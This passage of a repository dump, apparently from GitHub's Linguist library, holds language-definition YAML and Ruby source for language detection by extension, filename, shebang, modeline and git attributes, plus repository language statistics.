\"#b0b77e\"\n  extensions:\n  - \".ooc\"\n  tm_scope: source.ooc\n  ace_mode: text\n  language_id: 418\nq:\n  type: programming\n  extensions:\n  - \".q\"\n  tm_scope: source.q\n  ace_mode: text\n  codemirror_mode: q\n  codemirror_mime_type: text/x-q\n  color: \"#0040cd\"\n  language_id: 970539067\nreStructuredText:\n  type: prose\n  color: \"#141414\"\n  wrap: true\n  aliases:\n  - rst\n  extensions:\n  - \".rst\"\n  - \".rest\"\n  - \".rest.txt\"\n  - \".rst.txt\"\n  tm_scope: text.restructuredtext\n  ace_mode: rst\n  codemirror_mode: rst\n  codemirror_mime_type: text/x-rst\n  language_id: 419\nrobots.txt:\n  type: data\n  aliases:\n  - robots\n  - robots txt\n  filenames:\n  - robots.txt\n  ace_mode: text\n  tm_scope: text.robots-txt\n  language_id: 674736065\nsed:\n  type: programming\n  color: \"#64b970\"\n  extensions:\n  - \".sed\"\n  interpreters:\n  - gsed\n  - minised\n  - sed\n  - ssed\n  ace_mode: text\n  tm_scope: source.sed\n  language_id: 847830017\ntempl:\n  type: markup\n  color: \"#66D0DD\"\n  extensions:\n  - \".templ\"\n  ace_mode: text\n  tm_scope: source.templ\n  language_id: 795579337\nvCard:\n  type: data\n  color: \"#ee2647\"\n  extensions:\n  - \".vcf\"\n  tm_scope: source.vcard\n  aliases:\n  - virtual contact file\n  - electronic business card\n  ace_mode: properties\n  codemirror_mode: properties\n  codemirror_mime_type: text/x-properties\n  language_id: 851476558\nwisp:\n  type: programming\n  ace_mode: clojure\n  codemirror_mode: clojure\n  codemirror_mime_type: text/x-clojure\n  color: \"#7582D1\"\n  extensions:\n  - \".wisp\"\n  tm_scope: source.clojure\n  language_id: 420\nxBase:\n  type: programming\n  color: \"#403a40\"\n  aliases:\n  - advpl\n  - clipper\n  - foxpro\n  extensions:\n  - \".prg\"\n  - \".ch\"\n  - \".prw\"\n  tm_scope: source.harbour\n  ace_mode: text\n  language_id: 421\n"
  },
  {
    "path": "lib/linguist/lazy_blob.rb",
    "content": "require 'linguist/blob_helper'\nrequire 'linguist/language'\nrequire 'linguist/source/repository'\nrequire 'linguist/source/rugged'\n\nmodule Linguist\n  class LazyBlob\n    GIT_ATTR = ['linguist-documentation',\n                'linguist-language',\n                'linguist-vendored',\n                'linguist-generated',\n                'linguist-detectable']\n\n    # DEPRECATED: use Linguist::Source::RuggedRepository::GIT_ATTR_OPTS instead\n    GIT_ATTR_OPTS = Linguist::Source::RuggedRepository::GIT_ATTR_OPTS\n\n    # DEPRECATED: use Linguist::Source::RuggedRepository::GIT_ATTR_FLAGS instead\n    GIT_ATTR_FLAGS = Linguist::Source::RuggedRepository::GIT_ATTR_FLAGS\n\n    include BlobHelper\n\n    MAX_SIZE = 128 * 1024\n\n    attr_reader :repository\n    attr_reader :oid\n    attr_reader :path\n    attr_reader :mode\n\n    alias :name :path\n\n    def initialize(repo, oid, path, mode = nil)\n      @repository = if repo.is_a? Linguist::Source::Repository\n        repo\n      else\n        # Allow this for backward-compatibility purposes\n        Linguist::Source::RuggedRepository.new(repo)\n      end\n      @oid = oid\n      @path = path\n      @mode = mode\n      @data = nil\n    end\n\n    def git_attributes\n      @git_attributes ||= repository.load_attributes_for_path(name, GIT_ATTR)\n    end\n\n    def documentation?\n      if not git_attributes['linguist-documentation'].nil?\n        boolean_attribute(git_attributes['linguist-documentation'])\n      else\n        super\n      end\n    end\n\n    def generated?\n      if not git_attributes['linguist-generated'].nil?\n        boolean_attribute(git_attributes['linguist-generated'])\n      else\n        super\n      end\n    end\n\n    def vendored?\n      if not git_attributes['linguist-vendored'].nil?\n        boolean_attribute(git_attributes['linguist-vendored'])\n      else\n        super\n      end\n    end\n\n    def language\n      return @language if defined?(@language)\n\n      @language = if lang = git_attributes['linguist-language']\n        detected_language = Language.find_by_alias(lang)\n\n        # If strategies are being tracked, get the original strategy that would have been used\n        if detected_language && Linguist.instrumenter\n          # Get the original strategy by calling super (which calls Linguist.detect)\n          original_language = super\n          original_strategy_info = Linguist.instrumenter.detected_info[self.name]\n          original_strategy = original_strategy_info ? original_strategy_info[:strategy] : \"Unknown\"\n\n          if original_language == detected_language\n            strategy_name = \"#{original_strategy} (confirmed by .gitattributes)\"\n          else\n            strategy_name = \"#{original_strategy} (overridden by .gitattributes)\"\n          end\n\n          strategy = Struct.new(:name).new(strategy_name)\n          Linguist.instrument(\"linguist.detected\", blob: self, strategy: strategy, language: detected_language)\n        end\n        detected_language\n      else\n        super\n      end\n    end\n\n    def detectable?\n      if not git_attributes['linguist-detectable'].nil?\n        boolean_attribute(git_attributes['linguist-detectable'])\n      else\n        nil\n      end\n    end\n\n    def data\n      load_blob!\n      @data\n    end\n\n    def size\n      load_blob!\n      @size\n    end\n\n    def symlink?\n      # We don't create LazyBlobs for symlinks.\n      false\n    end\n\n    def cleanup!\n      @data.clear if @data\n    end\n\n    protected\n\n    # Returns true if the attribute is present and not the string \"false\" and not the false boolean.\n    def boolean_attribute(attribute)\n      attribute != \"false\" && attribute != false\n    end\n\n    def load_blob!\n      @data, @size = repository.load_blob(oid, MAX_SIZE) if @data.nil?\n    end\n  end\nend\n"
  },
  {
    "path": "lib/linguist/popular.yml",
    "content": "# Popular languages appear at the top of language dropdowns\n#\n# This file should only be edited by GitHub staff\n\n- C\n- C#\n- C++\n- CoffeeScript\n- CSS\n- Dart\n- DM\n- Elixir\n- Go\n- Groovy\n- HTML\n- Java\n- JavaScript\n- Kotlin\n- Objective-C\n- Perl\n- PHP\n- PowerShell\n- Python\n- Ruby\n- Rust\n- Scala\n- Shell\n- Swift\n- TypeScript\n"
  },
  {
    "path": "lib/linguist/repository.rb",
    "content": "require 'linguist/lazy_blob'\nrequire 'linguist/source/repository'\nrequire 'linguist/source/rugged'\n\nmodule Linguist\n  # A Repository is an abstraction of a Grit::Repo or a basic file\n  # system tree. It holds a list of paths pointing to Blobish objects.\n  #\n  # Its primary purpose is for gathering language statistics across\n  # the entire project.\n  class Repository\n    attr_reader :repository\n\n    MAX_TREE_SIZE = 100_000\n\n    # Public: Create a new Repository based on the stats of\n    # an existing one\n    def self.incremental(repo, commit_oid, old_commit_oid, old_stats, max_tree_size = MAX_TREE_SIZE)\n      repo = self.new(repo, commit_oid, max_tree_size)\n      repo.load_existing_stats(old_commit_oid, old_stats)\n      repo\n    end\n\n    # Public: Initialize a new Repository to be analyzed for language\n    # data\n    #\n    # repo - a Linguist::Source::Repository object\n    # commit_oid - the sha1 of the commit that will be analyzed;\n    #              this is usually the master branch\n    # max_tree_size - the maximum tree size to consider for analysis (default: MAX_TREE_SIZE)\n    #\n    # Returns a Repository\n    def initialize(repo, commit_oid, max_tree_size = MAX_TREE_SIZE)\n      @repository = if repo.is_a? Linguist::Source::Repository\n        repo\n      else\n        # Allow this for backward-compatibility purposes\n        Linguist::Source::RuggedRepository.new(repo)\n      end\n      @commit_oid = commit_oid\n      @max_tree_size = max_tree_size\n\n      @old_commit_oid = nil\n      @old_stats = nil\n\n      raise TypeError, 'commit_oid must be a commit SHA1' unless commit_oid.is_a?(String)\n    end\n\n    # Public: Load the results of a previous analysis on this repository\n    # to speed up the new scan.\n    #\n    # The new analysis will be performed incrementally as to only take\n    # into account the file changes since the last time the repository\n    # was scanned\n    #\n    # old_commit_oid - the sha1 of the commit that was previously analyzed\n    # old_stats - the result of the previous analysis, obtained by calling\n    #             Repository#cache on the old repository\n    #\n    # Returns nothing\n    def load_existing_stats(old_commit_oid, old_stats)\n      @old_commit_oid = old_commit_oid\n      @old_stats = old_stats\n      nil\n    end\n\n    # Public: Returns a breakdown of language stats.\n    #\n    # Examples\n    #\n    #   # => { 'Ruby' => 46319,\n    #          'JavaScript' => 258 }\n    #\n    # Returns a Hash of language names and Integer size values.\n    def languages\n      @sizes ||= begin\n        sizes = Hash.new { 0 }\n        cache.each do |_, (language, size)|\n          sizes[language] += size\n        end\n        sizes\n      end\n    end\n\n    # Public: Get primary Language of repository.\n    #\n    # Returns a language name\n    def language\n      @language ||= begin\n        primary = languages.max_by { |(_, size)| size }\n        primary && primary[0]\n      end\n    end\n\n    # Public: Get the total size of the repository.\n    #\n    # Returns a byte size Integer\n    def size\n      @size ||= languages.inject(0) { |s,(_,v)| s + v }\n    end\n\n    # Public: Return the language breakdown of this repository by file\n    #\n    # Returns a map of language names => [filenames...]\n    def breakdown_by_file\n      @file_breakdown ||= begin\n        breakdown = Hash.new { |h,k| h[k] = Array.new }\n        cache.each do |filename, (language, _)|\n          breakdown[language] << filename.dup.force_encoding(\"UTF-8\").scrub\n        end\n        breakdown\n      end\n    end\n\n    # Public: Return the cached results of the analysis\n    #\n    # This is a per-file breakdown that can be passed to other instances\n    # of Linguist::Repository to perform incremental scans\n    #\n    # Returns a map of filename => [language, size]\n    def cache\n      @cache ||= begin\n        if @old_commit_oid == @commit_oid\n          @old_stats\n        else\n          compute_stats(@old_commit_oid, @old_stats)\n        end\n      end\n    end\n\n    def read_index\n      raise NotImplementedError, \"read_index is deprecated\" unless repository.is_a? Linguist::Source::RuggedRepository\n      repository.set_attribute_source(@commit_oid)\n    end\n\n    def current_tree\n      raise NotImplementedError, \"current_tree is deprecated\" unless repository.is_a? Linguist::Source::RuggedRepository\n      repository.get_tree(@commit_oid)\n    end\n\n    protected\n    def compute_stats(old_commit_oid, cache = nil)\n      return {} if repository.get_tree_size(@commit_oid, @max_tree_size) >= @max_tree_size\n\n      repository.set_attribute_source(@commit_oid)\n      diff = repository.diff(old_commit_oid, @commit_oid)\n\n      # Clear file map and fetch full diff if any .gitattributes files are changed\n      if cache && diff.each_delta.any? { |delta| File.basename(delta.new_file[:path]) == \".gitattributes\" }\n        diff = repository.diff(nil, @commit_oid)\n        file_map = {}\n      else\n        file_map = cache ? cache.dup : {}\n      end\n\n      diff.each_delta do |delta|\n        old = delta.old_file[:path]\n        new = delta.new_file[:path]\n\n        file_map.delete(old)\n        next if delta.binary?\n\n        if [:added, :modified].include? delta.status\n          # Skip submodules and symlinks\n          mode = delta.new_file[:mode]\n          mode_format = (mode & 0170000)\n          next if mode_format == 0120000 || mode_format == 040000 || mode_format == 0160000\n\n          blob = Linguist::LazyBlob.new(repository, delta.new_file[:oid], new, mode.to_s(8))\n\n          update_file_map(blob, file_map, new)\n\n          blob.cleanup!\n        end\n      end\n\n      file_map\n    end\n\n    def update_file_map(blob, file_map, key)\n      if blob.include_in_language_stats?\n        file_map[key] = [blob.language.group.name, blob.size]\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "lib/linguist/samples.rb",
    "content": "begin\n  require 'yajl'\nrescue LoadError\n  require 'json'\nend\n\nrequire 'linguist/sha256'\nrequire 'linguist/classifier'\nrequire 'linguist/shebang'\n\nmodule Linguist\n  # Model for accessing classifier training data.\n  module Samples\n    # Path to samples root directory\n    ROOT = File.expand_path(\"../../../samples\", __FILE__)\n\n    # Path for serialized samples db\n    PATH = File.expand_path('../samples.json', __FILE__)\n\n    # Hash of serialized samples object, cached in memory\n    def self.cache\n      @cache ||= load_samples\n    end\n\n    # Hash of serialized samples object, uncached\n    def self.load_samples\n      serializer = defined?(Yajl) ? Yajl : JSON\n      data = serializer.load(File.read(PATH, encoding: 'utf-8'))\n      # JSON serialization does not allow integer keys, we fix them here\n      for lang in data['centroids'].keys\n        fixed = data['centroids'][lang].to_a.map { |k,v| [k.to_i, v] }\n        data['centroids'][lang] = Hash[fixed]\n      end\n\n      data\n    end\n\n    # Public: Iterate over each sample.\n    #\n    # &block - Yields Sample to block\n    #\n    # Returns nothing.\n    def self.each(&block)\n      Dir.entries(ROOT).sort!.each do |category|\n        next if category == '.' || category == '..'\n\n        dirname = File.join(ROOT, category)\n        Dir.entries(dirname).each do |filename|\n          next if filename == '.' || filename == '..'\n\n          if filename == 'filenames'\n            Dir.entries(File.join(dirname, filename)).each do |subfilename|\n              next if subfilename == '.' || subfilename == '..'\n\n              yield({\n                :path    => File.join(dirname, filename, subfilename),\n                :language => category,\n                :filename => subfilename\n              })\n            end\n          else\n            path = File.join(dirname, filename)\n            extname = File.extname(filename)\n\n            yield({\n              :path     => path,\n              :language => category,\n              :interpreter => Shebang.interpreter(File.read(path)),\n              :extname  => extname.empty? ? nil : extname\n            })\n          end\n        end\n      end\n\n      nil\n    end\n\n    # Public: Build Classifier from all samples.\n    #\n    # Returns trained Classifier.\n    def self.data\n      db = {}\n      db['extnames'] = {}\n      db['interpreters'] = {}\n      db['filenames'] = {}\n\n      each do |sample|\n        language_name = sample[:language]\n\n        if sample[:extname]\n          db['extnames'][language_name] ||= []\n          if !db['extnames'][language_name].include?(sample[:extname])\n            db['extnames'][language_name] << sample[:extname]\n            db['extnames'][language_name].sort!\n          end\n        end\n\n        if sample[:interpreter]\n          db['interpreters'][language_name] ||= []\n          if !db['interpreters'][language_name].include?(sample[:interpreter])\n            db['interpreters'][language_name] << sample[:interpreter]\n            db['interpreters'][language_name].sort!\n          end\n        end\n\n        if sample[:filename]\n          db['filenames'][language_name] ||= []\n          db['filenames'][language_name] << sample[:filename]\n          db['filenames'][language_name].sort!\n        end\n\n        data = File.read(sample[:path])\n        Classifier.train!(db, language_name, data)\n      end\n\n      Classifier.finalize_train! db\n      db['sha256'] = Linguist::SHA256.hexdigest(db)\n\n      db\n    end\n  end\nend\n"
  },
  {
    "path": "lib/linguist/sha256.rb",
    "content": "require 'digest/sha2'\n\nmodule Linguist\n  module SHA256\n    # Public: Create deep nested digest of value object.\n    #\n    # Useful for object comparison.\n    #\n    # obj - Object to digest.\n    #\n    # Returns String hex digest\n    def self.hexdigest(obj)\n      digest = Digest::SHA256.new\n\n      case obj\n      when String, Symbol, Integer, Float\n        digest.update \"#{obj.class}\"\n        digest.update \"#{obj}\"\n      when TrueClass, FalseClass, NilClass\n        digest.update \"#{obj.class}\"\n      when Array\n        digest.update \"#{obj.class}\"\n        for e in obj\n          digest.update(hexdigest(e))\n        end\n      when Hash\n        digest.update \"#{obj.class}\"\n        for e in obj.map { |(k, v)| hexdigest([k, v]) }.sort\n          digest.update(e)\n        end\n      else\n        raise TypeError, \"can't convert #{obj.inspect} into String\"\n      end\n\n      digest.hexdigest\n    end\n  end\nend\n"
  },
  {
    "path": "lib/linguist/shebang.rb",
    "content": "# frozen_string_literal: true\n\nmodule Linguist\n  class Shebang\n    # Public: Use shebang to detect language of the blob.\n    #\n    # blob               - An object that quacks like a blob.\n    # candidates         - A list of candidate languages.\n    #\n    # Examples\n    #\n    #   Shebang.call(FileBlob.new(\"path/to/file\"))\n    #\n    # Returns an array of languages from the candidate list for which the\n    # blob's shebang is valid. Returns an empty list if there is no shebang.\n    # If the candidate list is empty, any language is a valid candidate.\n    def self.call(blob, candidates)\n      return [] if blob.symlink?\n\n      languages = Language.find_by_interpreter interpreter(blob.data)\n      candidates.any? ? candidates & languages : languages\n    end\n\n    # Public: Get the interpreter from the shebang\n    #\n    # Returns a String or nil\n    def self.interpreter(data)\n      # First line must start with #!\n      return unless data.start_with?(\"#!\")\n\n      shebang = data[0, data.index($/) || data.length]\n\n      s = StringScanner.new(shebang)\n\n      # There was nothing after the #!\n      return unless path = s.scan(/^#!\\s*\\S+/)\n\n      # Keep going\n      script = path.split('/').last\n\n      # if /usr/bin/env type shebang then walk the string\n      if script == 'env'\n        s.scan(/\\s+/)\n        while s.scan(/((-[i0uCSv]*|--\\S+)\\s+)+/) || # skip over optional arguments e.g. -vS\n              s.scan(/(\\S+=\\S+\\s+)+/) # skip over variable arguments e.g. foo=bar\n          # do nothing\n        end\n        script = s.scan(/\\S+/)\n      end\n\n      # Interpreter was /usr/bin/env with no arguments\n      return unless script\n\n      # \"python2.6\" -> \"python2\"\n      script.sub!(/(\\.\\d+)$/, '')\n\n      # #! perl -> perl\n      script.sub!(/^#!\\s*/, '')\n\n      # Check for multiline shebang hacks that call `exec`\n      if script == 'sh' &&\n        data.lines.first(5).any? { |l| l.match(/exec (\\w+)[\\s\"']+\\$0[\\s\"']+\\$@/) }\n        script = $1\n      end\n\n      # osascript can be called with an optional `-l <language>` argument, which may not be a language with an interpreter.\n      # In this case, return and rely on the subsequent strategies to determine the language.\n      if script == 'osascript'\n        return if s.scan_until(/\\-l\\s?/)\n      end\n\n      File.basename(script)\n    end\n  end\nend\n"
  },
  {
    "path": "lib/linguist/source/diff.rb",
    "content": "require 'linguist/generated'\nrequire 'cgi'\nrequire 'charlock_holmes'\nrequire 'mini_mime'\nrequire 'yaml'\n\nmodule Linguist\n  module Source\n    # Diff is an interface representing a diff between two trees. It is composed\n    # of a collection of iterable deltas between before/after states of files.\n    class Diff\n      # A Delta represents a single file's before/after state in a diff.\n      class Delta\n        # Public: get the status of the file's \"after\" state as compared to\n        # \"before\". Valid status values include:\n        #\n        # - :added\n        # - :deleted\n        # - :modified\n        # - :renamed\n        # - :copied\n        # - :ignored\n        # - :untracked\n        # - :typechange\n        #\n        # Returns the status.\n        def status\n          raise NotImplementedError\n        end\n\n        # Public: determine whether the file delta is binary.\n        #\n        # Returns true if the delta is binary, false otherwise.\n        def binary?\n          raise NotImplementedError\n        end\n\n        # Public: get the metadata of the \"before\" file in the delta. The\n        # metadata is represented as a Hash with the keys:\n        #\n        # - :path (string)\n        # - :oid (string)\n        # - :mode (integer)\n        #\n        # Returns the entry metadata hash.\n        def old_file\n          raise NotImplementedError\n        end\n\n        # Public: get the metadata of the \"after\" file in the delta. The\n        # metadata is represented as a Hash with the keys:\n        #\n        # - :path (string)\n        # - :oid (string)\n        # - :mode (integer)\n        #\n        # Returns the entry metadata hash.\n        def new_file\n          raise NotImplementedError\n        end\n      end\n\n      # Public: iterate through each delta of the given diff. Yields a single\n      # delta to the given block.\n      #\n      # Returns nothing.\n      def each_delta\n        raise NotImplementedError\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "lib/linguist/source/repository.rb",
    "content": "module Linguist\n  module Source\n    # Repository is an interface for providing direct access to functionality in\n    # a repository of files whose contents can be scanned for language\n    # information.\n    class Repository\n      # Public: get the number of entries in the root tree of the given commit,\n      # with an optional maximum value.\n      #\n      # commit_id - the string unique identifier of the commit to analyze.\n      # limit     - (Optional) the integer maximum number of tree entries to\n      #             count.\n      #\n      # Returns the number of entries in the tree or 'limit', whichever is\n      # smaller.\n      def get_tree_size(commit_id, limit = nil)\n        raise NotImplementedError\n      end\n\n      # Public: set the commit whose .gitattributes file(s) should be used as\n      # the source of attribute information in 'load_attributes_for_path'.\n      #\n      # commit_id - the string unique identifier of the attribute source commit.\n      #\n      # Returns nothing.\n      def set_attribute_source(commit_id)\n        raise NotImplementedError\n      end\n\n      # Public: read the data and size information for the specified file blob.\n      #\n      # blob_id  - the string unique identifier of the blob to read.\n      # max_size - the integer maximum size in bytes to read from the blob.\n      #\n      # Returns the (possibly truncated) byte string of blob content and\n      # the full, untruncated size of the blob.\n      def load_blob(blob_id, max_size)\n        raise NotImplementedError\n      end\n\n      # Public: look up the attribute values for a given path.\n      #\n      # path       - the path for which we want attribute values.\n      # attr_names - the attributes to read for the given path.\n      #\n      # Returns a Hash mapping attribute names to their corresponding values.\n      def load_attributes_for_path(path, attr_names)\n        raise NotImplementedError\n      end\n\n      # Public: compute the diff between the given old and new commits.\n      #\n      # old_commit - the string unique identifier of the \"before\" state of the\n      #              diff, or nil (representing an empty tree).\n      # new_commit - the string unique identifier of the \"after\" state of the\n      #              diff, or nil (representing an empty tree).\n      #\n      # Returns a Source::Diff.\n      def diff(old_commit, new_commit)\n        raise NotImplementedError\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "lib/linguist/source/rugged.rb",
    "content": "require 'rugged'\nrequire 'linguist/source/diff'\n\nmodule Linguist\n  module Source\n    # RuggedRepository is an implementation of the Source::Repository abstract\n    # class. It represents a Git repository that is accessed using the libgit2\n    # wrapper Rugged.\n    class RuggedRepository < Linguist::Source::Repository\n\n      class Diff < Linguist::Source::Diff\n        class Delta < Linguist::Source::Diff::Delta\n          def initialize(rugged_delta)\n            @delta = rugged_delta\n          end\n\n          def status; @delta.status; end\n\n          def binary?; @delta.binary; end\n\n          def old_file; @delta.old_file; end\n\n          def new_file; @delta.new_file; end\n        end\n\n        def initialize(rugged_diff)\n          @diff = rugged_diff\n        end\n\n        def each_delta(&block)\n          @diff.each_delta.map do |delta|\n            Delta.new(delta)\n          end.each(&block)\n        end\n      end\n\n      GIT_ATTR_OPTS = { :priority => [:index], :skip_system => true }\n      GIT_ATTR_FLAGS = Rugged::Repository::Attributes.parse_opts(GIT_ATTR_OPTS)\n\n      def initialize(rugged)\n        @rugged = rugged\n        @tree_map = {}\n        @attr_source = nil\n      end\n\n      def get_tree_size(commit_id, limit)\n        tree_count = 0\n        count = 0\n\n        get_tree(commit_id).walk(:preorder) do |root, entry|\n          case entry[:type]\n          when :blob\n            count += 1\n            return limit if count >= limit\n          when :tree\n            tree_count += 1\n            return limit if tree_count >= limit\n          end\n          true\n        end\n\n        count\n      end\n\n      def set_attribute_source(commit_id)\n        tree = get_tree(commit_id)\n        return if @attr_source == tree\n\n        @attr_source = tree\n        attr_index = Rugged::Index.new\n        attr_index.read_tree(@attr_source)\n        @rugged.index = attr_index\n      end\n\n      def load_attributes_for_path(path, attr_names)\n        @rugged.fetch_attributes(path, attr_names, GIT_ATTR_FLAGS)\n      end\n\n      def load_blob(blob_id, max_size)\n        Rugged::Blob.to_buffer(@rugged, blob_id, max_size)\n      end\n\n      def diff(old_commit, new_commit)\n        old_tree = old_commit.nil? ? nil : get_tree(old_commit)\n        new_tree = new_commit.nil? ? nil : get_tree(new_commit)\n\n        Diff.new(Rugged::Tree.diff(@rugged, old_tree, new_tree))\n      end\n\n      # Internal: get the Rugged::Tree associated with a given commit ID. This\n      # method should not be used outside of Linguist itself and is subject to\n      # change or be removed.\n      #\n      # commit_id - the object ID of the commit whose tree instance we want.\n      #\n      # Returns the Rugged::Tree of the specified commit.\n      def get_tree(commit_id)\n        tree = @tree_map[commit_id]\n        return tree if tree\n\n        @tree_map[commit_id] = Rugged::Commit.lookup(@rugged, commit_id).tree\n        @tree_map[commit_id]\n      end\n\n      def method_missing(method_name, *args, &block)\n        @rugged.send(method_name, *args, &block)\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "lib/linguist/strategy/extension.rb",
    "content": "require 'yaml'\n\nmodule Linguist\n  module Strategy\n\n    # Detects language based on extension\n    class Extension\n      # Public: Use the file extension to detect the blob's language.\n      #\n      # blob               - An object that quacks like a blob.\n      # candidates         - A list of candidate languages.\n      #\n      # Examples\n      #\n      #   Extension.call(FileBlob.new(\"path/to/file\"))\n      #\n      # Returns an array of languages associated with a blob's file extension.\n      # Selected languages must be in the candidate list, except if it's empty,\n      # in which case any language is a valid candidate.\n      def self.call(blob, candidates)\n        return candidates if generic? blob.name.to_s\n        languages = Language.find_by_extension(blob.name.to_s)\n        candidates.any? ? candidates & languages : languages\n      end\n\n      # Public: Return true if filename uses a generic extension.\n      def self.generic?(filename)\n        self.load\n        @generic.any? { |ext| filename.downcase.end_with? ext }\n      end\n\n      @generic = []\n\n      # Internal: Load the contents of `generic.yml`\n      def self.load()\n        return if @generic.any?\n        data = YAML.load_file(File.expand_path(\"../../generic.yml\", __FILE__))\n        @generic = data['extensions']\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "lib/linguist/strategy/filename.rb",
    "content": "module Linguist\n  module Strategy\n    # Detects language based on filename\n    class Filename\n      # Public: Use the filename to detect the blob's language.\n      #\n      # blob               - An object that quacks like a blob.\n      # candidates         - A list of candidate languages.\n      #\n      # Examples\n      #\n      #   Filename.call(FileBlob.new(\"path/to/file\"))\n      #\n      # Returns an array of languages with a associated blob's filename.\n      # Selected languages must be in the candidate list, except if it's empty,\n      # in which case any language is a valid candidate.\n      def self.call(blob, candidates)\n        name = blob.name.to_s\n        languages = Language.find_by_filename(name)\n        candidates.any? ? candidates & languages : languages\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "lib/linguist/strategy/manpage.rb",
    "content": "module Linguist\n  module Strategy\n    # Detects man pages based on numeric file extensions with group suffixes.\n    class Manpage\n\n      # Public: RegExp for matching conventional manpage extensions\n      #\n      # This is the same expression as that used by `github/markup`\n      MANPAGE_EXTS = /\\.(?:[1-9](?![0-9])[a-z_0-9]*|0p|n|man|mdoc)(?:\\.in)?$/i\n\n      # Public: Use the file extension to match a possible man page,\n      # only if no other candidates were previously identified.\n      #\n      # blob               - An object that quacks like a blob.\n      # candidates         - A list of candidate languages.\n      #\n      # Examples\n      #\n      #   Manpage.call(FileBlob.new(\"path/to/file\"))\n      #\n      # Returns:\n      #   1. The list of candidates if it wasn't empty\n      #   2. An array of [\"Roff\", \"Roff Manpage\"] if the file's\n      #      extension matches a valid-looking man(1) section\n      #   3. An empty Array for anything else\n      #\n      def self.call(blob, candidates = [])\n        return candidates if candidates.any?\n\n        if blob.name =~ MANPAGE_EXTS\n          return [\n            Language[\"Roff Manpage\"],\n            Language[\"Roff\"],\n            # Language[\"Text\"] TODO: Uncomment once #4258 gets merged\n          ];\n        end\n\n        []\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "lib/linguist/strategy/modeline.rb",
    "content": "module Linguist\n  module Strategy\n    class Modeline\n      EMACS_MODELINE = %r[\n        (?-m)\n\n        # Opening delimiter\n        -\\*-\n\n        (?:\n          # Short form: `-*- ruby -*-`\n          [ \\t]*\n          (?=\n            [^:;\\s]+  # Name of mode\n            [ \\t]*    # Optional whitespace\n            -\\*-      # Closing delimiter\n          )\n          |\n\n          # Longer form: `-*- foo:bar; mode: ruby; -*-`\n          (?:\n            .*?[ \\t;] # Preceding variables: `-*- foo:bar bar:baz;`\n            |\n            (?<=-\\*-) # Not preceded by anything: `-*-mode:ruby-*-`\n          )\n\n          # Explicitly-named variable: `mode: ruby` or `mode  : ruby`\n          [ \\t]* mode [ \\t]* : [ \\t]*\n        )\n\n        # Name of major-mode, which corresponds to syntax or filetype\n        ([^:;\\s]+)\n\n        # Ensure the name is terminated correctly\n        (?=\n          # Followed by semicolon or whitespace\n          [ \\t;]\n          |\n          # Touching the ending sequence: `ruby-*-`\n          (?<![-*])   # Don't allow stuff like `ruby--*-` to match; it'll invalidate the mode\n          -\\*-        # Emacs has no problems reading `ruby --*-`, however.\n        )\n\n        # If we've gotten this far, it means the modeline is valid.\n        # We gleefully skip past everything up until reaching \"-*-\"\n        .*?\n\n        # Closing delimiter\n        -\\*-\n      ]xi\n\n      # NOTE: When changing this regex, be sure to keep the Vim Help heuristic updated too (#5347)\n      VIM_MODELINE = %r[\n        (?-m)\n\n        # Start of modeline (syntax documented in E520)\n        (?:\n          # `vi:`, `vim:` or `Vim:`\n          (?:^|[ \\t]) (?:vi|Vi(?=m))\n\n          # Check if specific Vim version(s) are requested (won't work in vi/ex)\n          (?:\n            # Versioned modeline. `vim<700:` targets Vim versions older than 7.0\n            m\n            [<=>]?    # If comparison operator is omitted, *only* this version is targeted\n            [0-9]+    # Version argument = (MINOR_VERSION_NUMBER * 100) + MINOR_VERSION_NUMBER\n            |\n\n            # Unversioned modeline. `vim:` targets any version of Vim.\n            m\n          )?\n          |\n\n          # `ex:`, which requires leading whitespace to avoid matching stuff like \"lex:\"\n          [ \\t] ex\n        )\n\n        # If the option-list begins with `set ` or `se `, it indicates an alternative\n        # modeline syntax partly-compatible with older versions of Vi. Here, the colon\n        # serves as a terminator for an option sequence, delimited by whitespace.\n        (?=\n          # So we have to ensure the modeline ends with a colon\n          : (?=[ \\t]* set? [ \\t] [^\\r\\n:]+ :) |\n\n          # Otherwise, it isn't valid syntax and should be ignored\n          : (?![ \\t]* set? [ \\t])\n        )\n\n        # Possible (unrelated) `option=value` pairs to skip past\n        (?:\n          # Option separator, either\n          (?:\n            # 1. A colon (possibly surrounded by whitespace)\n            [ \\t]* : [ \\t]*     # vim: noai :  ft=sh:noexpandtab\n            |\n\n            # 2. At least one (horizontal) whitespace character\n            [ \\t]               # vim: noai ft=sh noexpandtab\n          )\n\n          # Option's name. All recognised Vim options have an alphanumeric form.\n          \\w*\n\n          # Possible value. Not every option takes an argument.\n          (?:\n            # Whitespace between name and value is allowed: `vim: ft   =sh`\n            [ \\t]*=\n\n            # Option's value. Might be blank; `vim: ft= ` means \"use no filetype\".\n            (?:\n              [^\\\\\\s]    # Beware of escaped characters: titlestring=\\ ft=sh\n              |          # will be read by Vim as { titlestring: \" ft=sh\" }.\n              \\\\.\n            )*\n          )?\n        )*\n\n        # The actual filetype declaration\n        [ \\t:] (?:filetype|ft|syntax) [ \\t]*=\n\n        # Language's name\n        (\\w+)\n\n        # Ensure it's followed by a legal separator (including EOL)\n        (?=$|\\s|:)\n      ]x\n\n      MODELINES = [EMACS_MODELINE, VIM_MODELINE]\n\n      # Scope of the search for modelines\n      # Number of lines to check at the beginning and at the end of the file\n      SEARCH_SCOPE = 5\n\n      # Public: Detects language based on Vim and Emacs modelines\n      #\n      # blob               - An object that quacks like a blob.\n      #\n      # Examples\n      #\n      #   Modeline.call(FileBlob.new(\"path/to/file\"))\n      #\n      # Returns an Array with one Language if the blob has a Vim or Emacs modeline\n      # that matches a Language name or alias. Returns an empty array if no match.\n      def self.call(blob, _ = nil)\n        return [] if blob.symlink?\n\n        header = blob.first_lines(SEARCH_SCOPE).join(\"\\n\")\n        # Return early for Vimball files as their modeline will not reflect their filetype.\n        return [] if header.include?(\"UseVimball\")\n\n        footer = blob.last_lines(SEARCH_SCOPE).join(\"\\n\")\n        Array(Language.find_by_alias(modeline(header + footer)))\n      end\n\n      # Public: Get the modeline from the first n-lines of the file\n      #\n      # Returns a String or nil\n      def self.modeline(data)\n        match = MODELINES.map { |regex| data.match(regex) }.reject(&:nil?).first\n        match[1] if match\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "lib/linguist/strategy/xml.rb",
